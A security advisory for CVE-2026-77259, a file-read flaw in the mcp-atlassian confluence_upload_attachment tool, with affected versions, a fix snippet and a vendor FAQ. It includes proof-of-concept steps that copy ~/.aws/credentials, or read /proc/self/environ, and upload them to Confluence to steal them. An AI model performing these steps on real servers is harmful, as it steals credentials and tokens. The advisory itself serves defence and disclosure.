CVE-2026-77259

MCP Atlassian: Arbitrary file read via confluenceuploadattachment allows exfiltration of server credentials

# line 477
files = {"file": (filename, open(file_path, "rb"))}

# 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly)
cp ~/.aws/credentials /tmp/diagram.png

# 2. Call the MCP tool
confluence_upload_attachment(
    content_id = "<any page attacker can edit>",
    file_path  = "/tmp/diagram.png"
)

# 3. Download attachment from Confluence, contains raw credentials

Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, /proc/self/environ exposes all users' API tokens in a single request. Exfiltrated Atlassian tokens provide persistent API access independent of MCP, surviving server shutdown or patching.

Incomplete fix of GHSA-xjgw-4wvw-rgm4, arbitrary file read on upload mirrors the arbitrary file write on download fixed in that advisory.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-77259 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.22.0); upgrading removes the vulnerable code path.

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# src/mcp_atlassian/confluence/attachments.py, upload_attachment()
# Add after abspath conversion, before open():

try:
    validate_safe_path(file_path)
except ValueError as e:
    return {"success": False, "error": str(e)}

Same fix required in upload_attachments() and src/mcp_atlassian/jira/attachments.py.

1. What is CVE-2026-77259? CVE-2026-77259 is a high-severity path traversal vulnerability in mcp-atlassian (pip), affecting versions < 0.22.0. It is fixed in 0.22.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-77259? CVE-2026-77259 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of mcp-atlassian are affected by CVE-2026-77259? mcp-atlassian (pip) versions < 0.22.0 is affected.
4. Is there a fix for CVE-2026-77259? Yes. CVE-2026-77259 is fixed in 0.22.0. Upgrade to this version or later.
5. Is CVE-2026-77259 exploitable, and should I be worried? Whether CVE-2026-77259 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-77259 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-77259? Upgrade mcp-atlassian to 0.22.0 or later.

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